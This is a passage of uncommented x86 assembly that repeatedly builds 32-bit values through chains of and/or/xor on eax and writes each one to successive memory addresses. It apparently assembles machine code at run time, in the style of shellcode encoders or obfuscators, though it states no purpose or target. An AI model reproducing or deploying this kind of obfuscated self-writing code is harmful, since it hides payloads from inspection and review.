and eax, 0x4500006a
or eax, 0x82000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x66fe782c
xor eax, 0x1741f91d
and eax, 0xe0068041
or eax, 0x7405c04
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f4dd897
and eax, 0x45440000
or eax, 0x830000
mov dword [ebx], eax
add ebx, edx
or eax, 0x63031e62
or eax, 0x4910000e
and eax, 0x871248
or eax, 0x86190
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ac9b56
and eax, 0x79ed93a4
and eax, 0x58300
or eax, 0xd4404400
mov dword [ebx], eax
add ebx, edx
or eax, 0x60948b3d
or eax, 0x16790e15
and eax, 0x32d
or eax, 0xc0
mov dword [ebx], eax
add ebx, edx
and eax, 0x750b9026
and eax, 0x5144cac7
and eax, 4
or eax, 0x59d045c3
mov dword [ebx], eax
add ebx, edx
or eax, 0x25538d00
and eax, 0x38cb5b65
and eax, 0x144
or eax, 0xc7000010
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ed08a7f
and eax, 0x44
or eax, 0x2011cc01
mov dword [ebx], eax
add ebx, edx
and eax, 0x50602a87
or eax, 0x40853fe2
and eax, 0x40850000
or eax, 0x5420000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9a2ebbd
or eax, 0x469b574e
and eax, 0x4cb2c8
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7708112d
and eax, 0x44448300
or eax, 0x80014400
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e97d231
and eax, 0xc611
or eax, 0x2082
mov dword [ebx], eax
add ebx, edx
and eax, 0x55b38a5f
and eax, 3
or eax, 0x5c045c4
mov dword [ebx], eax
add ebx, edx
and eax, 0xc774d2a
xor eax, 0x3c5ab7a5
and eax, 0x21
or eax, 0xc7000058
mov dword [ebx], eax
add ebx, edx
or eax, 0x5af85c6b
and eax, 0x755414
and eax, 0x1400
or eax, 0x7d05a845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cd0b026
and eax, 0x4000000
or eax, 0x41c70001
mov dword [ebx], eax
add ebx, edx
and eax, 0x31bdc136
and eax, 0x40000
or eax, 0x7841b8
mov dword [ebx], eax
add ebx, edx
and eax, 0x381e471c
and eax, 0x44100
or eax, 0xb4418600
mov dword [ebx], eax
add ebx, edx
and eax, 0x60c0ac5d
and eax, 0
or eax, 0x1228d
mov dword [ebx], eax
add ebx, edx
or eax, 0x348454ac
or eax, 0x36d03277
and eax, 0x209044c7
or eax, 0x8200100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a09d396
and eax, 0x82
or eax, 0xc7000019
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d0bc87c
and eax, 0xa008845
or eax, 0x10c42400
mov dword [ebx], eax
add ebx, edx
or eax, 0x525a82c7
xor eax, 0x3f375718
and eax, 0x40e80000
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5bf1557e
and eax, 0x63952cc2
and eax, 0x2800000
or eax, 0x897fffe7
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d134bc3
and eax, 0x80349c1
or eax, 0xc4c01424
mov dword [ebx], eax
add ebx, edx
or eax, 0x3149309f
and eax, 0xccc84ccc
or eax, 0x48000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7731ede3
or eax, 0x138acb5e
and eax, 0x4488cccc
or eax, 0x88440000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6956ad9f
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x209f85fb
or eax, 0x44d9a833
and eax, 0x448904c8
or eax, 0xa8025104
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b6fbadb
xor eax, 0x5941aaea
and eax, 0x4140a802
or eax, 0x86104481
mov dword [ebx], eax
add ebx, edx
and eax, 0x2be7e5de
and eax, 0x56ad2177
and eax, 0x2000
or eax, 0xc9bcdc45
mov dword [ebx], eax
add ebx, edx
or eax, 0x39780b43
and eax, 0x48b6552c
and eax, 0x40840000
or eax, 0x5430000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e7858bb
and eax, 0x2d491286
and eax, 0x10080
or eax, 0xa2c578
mov dword [ebx], eax
add ebx, edx
or eax, 0x4897ca90
xor eax, 0x710337ad
and eax, 0x3004c000
or eax, 0xc4410700
mov dword [ebx], eax
add ebx, edx
or eax, 0x65e7376d
or eax, 0x75c159ec
and eax, 0x8b69
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4172a4c7
or eax, 0x3ec6dd83
and eax, 0x31f04587
or eax, 0x80000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x20ae529d
and eax, 0x80
or eax, 0xc7000018
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b4c028d
and eax, 0x8440005
or eax, 0x51a1ec40
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c143d81
and eax, 0x23900f5a
and eax, 0
or eax, 0x45c70000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b29b9b2
or eax, 0x7b7a6311
and eax, 0x9e09a0
or eax, 0x448
mov dword [ebx], eax
add ebx, edx
and eax, 0x57bf8ebd
and eax, 0x40400
or eax, 0xe441c300
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d354447
and eax, 0x3825d8c1
and eax, 0
or eax, 0xae
mov dword [ebx], eax
add ebx, edx
or eax, 0x40a5bd28
or eax, 0x2d2a94c1
and eax, 0x28a005c7
or eax, 0x92404000
mov dword [ebx], eax
add ebx, edx
and eax, 0x22e72b1c
and eax, 0x31d77005
and eax, 4
or eax, 0xc7000062
mov dword [ebx], eax
add ebx, edx
and eax, 0x22ecedf7
and eax, 0x44
or eax, 0x19d9dc01
mov dword [ebx], eax
add ebx, edx
and eax, 0x14f3b1cb
and eax, 0xc10001
or eax, 0x45060000
mov dword [ebx], eax
add ebx, edx
or eax, 0x64931a5d
xor eax, 0x581b96d0
and eax, 0x1408488
or eax, 0x114250
mov dword [ebx], eax
add ebx, edx
or eax, 0x34b739a5
and eax, 0x1445c700
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c3ed762
and eax, 0x4460
or eax, 0x2808
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a9a32ab
and eax, 0x56198731
and eax, 0
or eax, 0xebd045c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x11d38396
and eax, 0x1000000
or eax, 0xc6000061
mov dword [ebx], eax
add ebx, edx
and eax, 0x2565cf4b
and eax, 0x1000041
or eax, 0xe8b0cc04
mov dword [ebx], eax
add ebx, edx
or eax, 0x7477f6cb
and eax, 0x45c70000
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x633a876e
or eax, 0x7bae8ff9
and eax, 0x12687c8
or eax, 0x507000
mov dword [ebx], eax
add ebx, edx
or eax, 0x40cdddd
and eax, 0xc561732
and eax, 0x4440700
or eax, 0xc001c000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d37fa3d
and eax, 0x6860b4ca
and eax, 0x8000
or eax, 0x60af
mov dword [ebx], eax
add ebx, edx
or eax, 0x66dd15d0
and eax, 0x4500d41b
and eax, 0x4403
or eax, 0x22c001c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x34eebf20
and eax, 0x5a5798d0
and eax, 0
or eax, 0xc7000025
mov dword [ebx], eax
add ebx, edx
or eax, 0x7779a57f
xor eax, 0x628c3a2b
and eax, 0x91e19c44
or eax, 0x4a022001
mov dword [ebx], eax
add ebx, edx
and eax, 0x953a8f3
and eax, 0x8b33a2c
and eax, 0x30000
or eax, 0x45c40000
mov dword [ebx], eax
add ebx, edx
or eax, 0x542ddeef
and eax, 0xa886a8
or eax, 0x110
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60d0a22a
and eax, 0x20400500
or eax, 0x9405c200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16474ce0
and eax, 0x260
or eax, 0x1600b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34e34f78
and eax, 0x59530bcb
and eax, 0x10000103
or eax, 0x48b044c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74f0f36b
or eax, 0xb164065
and eax, 0xb000000
or eax, 0x80000110
mov dword [ebx], eax
add ebx, edx
or eax, 0x2102d51f
and eax, 0x4a388416
and eax, 0x8000404
or eax, 0xc4c359e1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a320a0
and eax, 0xcc404c44
or eax, 0x8c8088
mov dword [ebx], eax
add ebx, edx
or eax, 0x35fd437
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a118c9e
and eax, 0xe4894040
or eax, 0x802158c
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b1fc831
or eax, 0x6bd01ce8
and eax, 0x43504c80
or eax, 0x8400a003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x207e919c
and eax, 0x22cc729e
and eax, 0xc7004
or eax, 0x54738c41
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f250c39
and eax, 0x45470001
or eax, 0x800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b30a1cb
or eax, 0x2205561b
and eax, 0x3351d8
or eax, 0x1080020
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ef93a3a
and eax, 0x10000
or eax, 0xf444c700
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d144493
and eax, 0x4000
or eax, 0xa257
mov dword [ebx], eax
add ebx, edx
and eax, 0x21b8b5a0
xor eax, 0x7e09ad74
and eax, 0x16000544
or eax, 0xf04083
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b431dc2
and eax, 0x47000003
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3821640f
and eax, 0x1b87e65b
and eax, 0x1016400
or eax, 0xa48a8845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3013dc9d
and eax, 0x5800000
or eax, 0x40470000
mov dword [ebx], eax
add ebx, edx
and eax, 0x38e2a9ab
and eax, 0x820000
or eax, 0x38e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8cb088c
and eax, 0x410000
or eax, 0xe404c700
mov dword [ebx], eax
add ebx, edx
or eax, 0x230d1a4b
and eax, 0x9009
or eax, 0x30
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ff91b81
and eax, 1
or eax, 0x2be045c6
mov dword [ebx], eax
add ebx, edx
and eax, 0x50cac1e2
xor eax, 0x770fbe83
and eax, 0x47000040
or eax, 0x80000088
mov dword [ebx], eax
add ebx, edx
xor eax, 0xecfaa4c
and eax, 0x40038804
or eax, 0x205441
mov dword [ebx], eax
add ebx, edx
xor eax, 0x282aaeb1
and eax, 0x40010000
or eax, 0x5c60000
mov dword [ebx], eax
add ebx, edx
and eax, 0x66c0d486
xor eax, 0x428c0144
and eax, 0x40
or eax, 0x810a98
mov dword [ebx], eax
add ebx, edx
or eax, 0x296ca8a1
and eax, 0x458200
or eax, 0xd4004500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67c2fab3
and eax, 0x513
or eax, 0x240
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bb03eda
or eax, 0x7dfa6f4e
and eax, 0x61d045c7
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x7de9b319
and eax, 0x41000001
or eax, 0x8600007a
mov dword [ebx], eax
add ebx, edx
and eax, 0x4340f2d
and eax, 0x4000001
or eax, 0x5321cc44
mov dword [ebx], eax
add ebx, edx
or eax, 0x57511eaa
and eax, 0x45410000
or eax, 0x860000
mov dword [ebx], eax
add ebx, edx
or eax, 0x20d56a15
xor eax, 0xe9350d3
and eax, 0x440ac0
or eax, 0x138108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75745e8c
and eax, 0x246111d0
and eax, 0x4010100
or eax, 0xc044c600
mov dword [ebx], eax
add ebx, edx
and eax, 0x24ca7ca3
xor eax, 0x646419ea
and eax, 0x92a
or eax, 0x211
mov dword [ebx], eax
add ebx, edx
or eax, 0x49498808
xor eax, 0x59366941
and eax, 0x10404042
or eax, 0x63800585
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f46b566
and eax, 0x4000021
or eax, 0xc3000106
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ad7c801
and eax, 0x4c46c920
and eax, 0
or eax, 0xfe88bc45
mov dword [ebx], eax
add ebx, edx
or eax, 0x1afe94c9
and eax, 0x44c60000
or eax, 0x1010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x45a2d92b
xor eax, 0x11e82e98
and eax, 0x202098
or eax, 0x919020
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d5ca1c5
or eax, 0x3abecc23
and eax, 0x3445c500
or eax, 0x80000200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6afdaf6
and eax, 0x6b2ecc46
and eax, 0x440
or eax, 0x7119
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a645dce
xor eax, 0x793e9c3a
and eax, 0x131041c5
or eax, 0x40a00402
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ab6d644
and eax, 0x2000004
or eax, 0x89000103
mov dword [ebx], eax
add ebx, edx
or eax, 0x6435f9d0
and eax, 0xcc0159c5
or eax, 0xc20420
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68867b4e
and eax, 0x84440488
or eax, 0x4888c844
mov dword [ebx], eax
add ebx, edx
or eax, 0x770979fa
xor eax, 0x3f9911e9
and eax, 0xc044cc04
or eax, 0xc8800c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x6902437e
xor eax, 0x77e8a3e9
and eax, 0x2c884184
or eax, 0xc0031448
mov dword [ebx], eax
add ebx, edx
and eax, 0x5be5db22
or eax, 0x2d6a1b28
and eax, 0xc04800
or eax, 0x14a481
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f98e3a2
and eax, 0x28c34f2
and eax, 0x800000
or eax, 0x45470000
mov dword [ebx], eax
add ebx, edx
or eax, 0x731ea1e
and eax, 0xb3c01c
or eax, 0x15e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18c9f7f1
xor eax, 0x6f6e1f10
and eax, 0x60040500
or eax, 0x8041c200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76de1d75
or eax, 0x71a98e7
and eax, 0x9a76
or eax, 0x500
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e1ac69e
or eax, 0x340a73bc
and eax, 0xa0845c6
or eax, 0x80e00001
mov dword [ebx], eax
add ebx, edx
and eax, 0x26a25503
and eax, 0x2000002
or eax, 0xc50000cc
mov dword [ebx], eax
add ebx, edx
and eax, 0x42ebb102
xor eax, 0x709863ea
and eax, 0x30184040
or eax, 0x9059805
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d352b25
xor eax, 0x7a4f9040
and eax, 0x41420000
or eax, 0x4850000
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fa5e85d
and eax, 0x840000
or eax, 0x2adbb4
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fd05b27
xor eax, 0x8d48989
and eax, 0x4004200
or eax, 0xc8458500
mov dword [ebx], eax
add ebx, edx
and eax, 0x55142ff1
and eax, 0x700
or eax, 0x50df
mov dword [ebx], eax
add ebx, edx
and eax, 0x3802ece8
or eax, 0x1d48932f
and eax, 0x4845c7
or eax, 0x80b00000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c01b5f6
and eax, 0x84000031
or eax, 0x43000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd60accb
and eax, 0x40608440
or eax, 0x50d5005
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e47d7d0
and eax, 0x45470000
or eax, 0x800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14767696
and eax, 0x25bf749
and eax, 0x114200
or eax, 0x12e81c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x5952b5a6
and eax, 0x8100
or eax, 0xb0454600
mov dword [ebx], eax
add ebx, edx
and eax, 0x23f4f8c6
and eax, 0
or eax, 0x120f4
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c937620
or eax, 0x119396e7
and eax, 0x9004c7
or eax, 0xee644100
mov dword [ebx], eax
add ebx, edx
or eax, 0x50e8007e
and eax, 0xc60000ef
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x606abc76
and eax, 0x40a9001
or eax, 0x48914044
mov dword [ebx], eax
add ebx, edx
or eax, 0x67f5e2e
and eax, 0x7c5a633c
and eax, 0x44420000
or eax, 0x1850000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cb9202f
xor eax, 0x5c50966
and eax, 0x1a2148
or eax, 0xc15280
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e59c9b2
xor eax, 0x604ce127
and eax, 0x40444300
or eax, 0x80018400
mov dword [ebx], eax
add ebx, edx
or eax, 0x591e9077
and eax, 0x8006
or eax, 0x2880
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a319c75
and eax, 0x282004c7
or eax, 0x4c44100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x524d4af4
and eax, 0x1c3bf70
and eax, 0x10
or eax, 0xc7000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x47fd3c59
and eax, 0xc3951c41
or eax, 0x3002c004
mov dword [ebx], eax
add ebx, edx
or eax, 0x14074807
and eax, 0x45870000
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x92fb52e
and eax, 0x60000
or eax, 0xa026ec
mov dword [ebx], eax
add ebx, edx
or eax, 0x59700dc9
or eax, 0x3bbdd6a0
and eax, 0x7045c700
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0xbd86d59
and eax, 0x10c49
or eax, 0x10a6
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45722f27
xor eax, 0x6c980bb5
and eax, 0x29a80045
or eax, 0x54144582
mov dword [ebx], eax
add ebx, edx
and eax, 0x39f4fe2e
and eax, 0x1000002
or eax, 0xc6000049
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7937a378
or eax, 0x4788d49c
and eax, 0x6b8b005
or eax, 0x400840
mov dword [ebx], eax
add ebx, edx
and eax, 0x27cfa424
xor eax, 0xfbb7d30
and eax, 0x1430000
or eax, 0x44840001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5aa86ea7
and eax, 0x262a4
or eax, 0x909008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x649f1864
and eax, 0x64058a00
or eax, 0x80400100
mov dword [ebx], eax
add ebx, edx
or eax, 0x553706a3
xor eax, 0x9840b09
and eax, 0x708028
or eax, 0xc7005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3dc5f07c
or eax, 0x25a801c8
and eax, 0x24010100
or eax, 0xc0448800
mov dword [ebx], eax
add ebx, edx
and eax, 0x47b097b3
and eax, 0x2cede864
and eax, 0
or eax, 0x2bec4d8b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26262207
and eax, 0x645d19a2
and eax, 0x4080000
or eax, 0x4981e44d
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f9df47
and eax, 0x27222bba
and eax, 0x1000000
or eax, 0x8a09ebec
mov dword [ebx], eax
add ebx, edx
and eax, 0x78f325ad
and eax, 0x758b2017
and eax, 0x12004
or eax, 0xc282cc51
mov dword [ebx], eax
add ebx, edx
or eax, 0x343cf5ba
and eax, 0xe4158901
or eax, 0x8400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x551b6e8f
xor eax, 0x3829afd0
and eax, 0x164400b
or eax, 0x3a880580
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f527945
and eax, 0x23e39f0e
and eax, 0x1020c04
or eax, 0x8c0da041
mov dword [ebx], eax
add ebx, edx
or eax, 0x27e7c048
or eax, 0x37a6d8d0
and eax, 0xc
or eax, 0x102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x212f90d0
and eax, 0x120018a
or eax, 0x82904c01
mov dword [ebx], eax
add ebx, edx
or eax, 0x648dc00b
and eax, 0x45890181
or eax, 0x8000040
mov dword [ebx], eax
add ebx, edx
and eax, 0x53a281ac
and eax, 0x40000180
or eax, 0xb8558a30
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d28cf87
and eax, 0x7d584533
or eax, 0x801008
mov dword [ebx], eax
add ebx, edx
or eax, 0x39d58b68
and eax, 0x30458b61
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x72549043
or eax, 0x543d5b5a
and eax, 0x744c413b
or eax, 0x9800400
mov dword [ebx], eax
add ebx, edx
and eax, 0x233493
xor eax, 0x3059ff6a
and eax, 0x498b59
or eax, 0xc4040000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3b5ede6d
and eax, 0x56d59ef5
and eax, 0x54000430
or eax, 0x29c0490b
mov dword [ebx], eax
add ebx, edx
or eax, 0x515abcf9
xor eax, 0x74727665
and eax, 0x8b10
or eax, 0xf4550041
mov dword [ebx], eax
add ebx, edx
and eax, 0x608eeba
and eax, 0x8200
or eax, 0x89014083
mov dword [ebx], eax
add ebx, edx
or eax, 0x34642d0c
and eax, 0x6c621ec1
and eax, 0x4000401
or eax, 0x418bf054
mov dword [ebx], eax
add ebx, edx
or eax, 0x210212c6
xor eax, 0xaa75b1d
and eax, 0x640429c0
or eax, 0x90411214
mov dword [ebx], eax
add ebx, edx
or eax, 0x771ce3a3
and eax, 0x45094075
or eax, 0x8820008
mov dword [ebx], eax
add ebx, edx
or eax, 0x301ac9b7
and eax, 0x4d8b09dc
or eax, 0x240600
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a73b26b
and eax, 0x74c985d0
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1af86c05
xor eax, 0x56ae52c0
and eax, 0x44440200
or eax, 0xb811891c
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e81ed67
or eax, 0xd3d56af
and eax, 0x4158f0f
or eax, 0xd0402000
mov dword [ebx], eax
add ebx, edx
and eax, 0x16941fa2
and eax, 0x10140200
or eax, 0x160d085
mov dword [ebx], eax
add ebx, edx
or eax, 0x67ed1781
and eax, 0x3e04581
or eax, 0x8000000a
mov dword [ebx], eax
add ebx, edx
or eax, 0x722df63
or eax, 0x5dcfe8be
and eax, 0x458901e8
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74f66a8d
and eax, 0x53310bd
and eax, 0x10020
or eax, 0xf84c8bc0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b636b94
and eax, 0x204030
or eax, 0x7cc00d0b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33fd2792
xor eax, 0x38b5a932
and eax, 0x70008310
or eax, 0x80550800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e523dc2
or eax, 0x5e8a6ed2
and eax, 0x7c845412
or eax, 0x1300129
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c7a2962
and eax, 0x68440911
or eax, 0x80018200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26682dec
and eax, 0x744f1a76
and eax, 0x44080030
or eax, 0x30d04503
mov dword [ebx], eax
add ebx, edx
and eax, 0xc3f9c76
or eax, 0x519eb41d
and eax, 0x500c8009
or eax, 0x80410b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x177dc679
and eax, 0x8101c101
or eax, 0x8000082
mov dword [ebx], eax
add ebx, edx
and eax, 0x5865c0c6
or eax, 0x226b2b5f
and eax, 0xbc04d
or eax, 0x55801000
mov dword [ebx], eax
add ebx, edx
and eax, 0x16442e0b
and eax, 8
or eax, 0x1ea83f4
mov dword [ebx], eax
add ebx, edx
and eax, 0x430f2209
and eax, 0x1080008
or eax, 0x8af45581
mov dword [ebx], eax
add ebx, edx
and eax, 0x1558787b
or eax, 0x242b3110
and eax, 0x20036001
or eax, 0xc8808444
mov dword [ebx], eax
add ebx, edx
and eax, 0xf2010
and eax, 0x10000
or eax, 0xe4448901
mov dword [ebx], eax
add ebx, edx
or eax, 0x6cd785cd
and eax, 0x28c40d89
or eax, 0x13204002
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bbb7d32
and eax, 0x2b204000
or eax, 0x105da04d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c0f2cb2
or eax, 0x38eb5967
and eax, 0x3bc0558b
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f12109
and eax, 0x8357400
or eax, 0x1488055
mov dword [ebx], eax
add ebx, edx
or eax, 0x61a31e33
and eax, 0x1a84447
or eax, 0x180
mov dword [ebx], eax
add ebx, edx
and eax, 0x61903308
and eax, 0x1000000
or eax, 0xea000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fb710e1
or eax, 0x32ef13d4
and eax, 0x28450304
or eax, 0x8000c403
mov dword [ebx], eax
add ebx, edx
and eax, 0x48ee4bc5
xor eax, eax
mov dword [ebx], eax
add ebx, edx
or eax, 0x775d76a8
and eax, 0x2335f1cd
and eax, 0x23144088
or eax, 0xa80503
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a058b8d
and eax, 0x41898805
or eax, 0x4002040
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b75104a
and eax, 0x10000
or eax, 0xbc4c8b98
mov dword [ebx], eax
add ebx, edx
xor eax, 0x477038a5
and eax, 0x89018101
or eax, 0x4082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a788c63
and eax, 0x41010c40
or eax, 0x3c82b00d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5357b899
and eax, 0xa540090
or eax, 0x1200008
mov dword [ebx], eax
add ebx, edx
or eax, 0xc484ad7
and eax, 0x330408b
or eax, 0x20801500
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa388098
and eax, 0x108c011
or eax, 0x54332844
mov dword [ebx], eax
add ebx, edx
or eax, 0x30b7249f
and eax, 0x1306cd8
or eax, 0x8a001000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ac3aad5
and eax, 0x3d59adb9
and eax, 0x1118801
or eax, 0x442a5044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fbcd612
and eax, 0x4da12894
and eax, 0x40010814
or eax, 0x870875c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c04964c
xor eax, 0x4ace5c05
and eax, 0x1a041
or eax, 0x404
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2cec2214
xor eax, 0x63c7e477
and eax, 0x72a0000
or eax, 0xc10000
mov dword [ebx], eax
add ebx, edx
and eax, 0x721c7b7
or eax, 0x18a9673d
and eax, 0xa04505
or eax, 0x400c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e5b703f
and eax, 0xa000000
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
and eax, 0xebfa33f
and eax, 0x2260120a
and eax, 0
or eax, 0x4d0bcc4d
mov dword [ebx], eax
add ebx, edx
and eax, 0x29b9a013
or eax, 0x99d0f9
and eax, 0x980a0
or eax, 0x94440904
mov dword [ebx], eax
add ebx, edx
and eax, 0x221642dc
and eax, 0x40080
or eax, 0x83c8550b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c93c469
and eax, 0xceed1c0
and eax, 0x48801c0
or eax, 0x5101002a
mov dword [ebx], eax
add ebx, edx
and eax, 0xdd84a6e
and eax, 0x4080048
or eax, 0x90758384
mov dword [ebx], eax
add ebx, edx
and eax, 0x26a0f5db
and eax, 0
or eax, 0x8b097400
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c71c44b
and eax, 0xc801d441
or eax, 0x20820804
mov dword [ebx], eax
add ebx, edx
and eax, 0x5219813b
or eax, 0x595c976
and eax, 0x44058901
or eax, 0x98400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a9ee10f
and eax, 0x82c8480a
or eax, 0x1000581
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2bc76391
and eax, 0x8090000
or eax, 0x458001c1
mov dword [ebx], eax
add ebx, edx
and eax, 0x19c3b961
and eax, 0x8810140
or eax, 0xf65ce888
mov dword [ebx], eax
add ebx, edx
or eax, 0x59889a58
xor eax, 0x1daa13da
and eax, 0x8260e802
or eax, 0x148817fd
mov dword [ebx], eax
add ebx, edx
or eax, 0x43d7146a
and eax, 0x66265c63
and eax, 0x40265c60
or eax, 0xa8d9a384
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a34b073
and eax, 0x1bb6e8c2
and eax, 0x2824880
or eax, 0xfd7db311
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3cbdaa1f
or eax, 0x763b48fa
and eax, 0x8368518a
or eax, 0x800401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58b6b219
or eax, 0x2a412345
and eax, 0x510901c2
or eax, 0x4800000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ff3f101
and eax, 0x544181c0
or eax, 0xa0040a28
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4afb900
xor eax, 0x20cfb11d
and eax, 0x248125
or eax, 0x25808
mov dword [ebx], eax
add ebx, edx
xor eax, 0x539944a2
or eax, 0x493935dd
and eax, 0x50058900
or eax, 0xa4400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f7335e1
and eax, 0x3040c81
or eax, 0xc8410a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x753a124
xor eax, 0x4ef95b52
and eax, 0x4800b44d
or eax, 0x5894000
mov dword [ebx], eax
add ebx, edx
or eax, 0x46d9cf31
xor eax, 0x4e80a391
and eax, 0x10948cc
or eax, 0x8a00a300
mov dword [ebx], eax
add ebx, edx
and eax, 0x5dd7a7e3
and eax, 0x18040
or eax, 0xc2824c15
mov dword [ebx], eax
add ebx, edx
and eax, 0x6c041429
xor eax, 0x7e580d00
and eax, 0xc500901
or eax, 0xc0058000
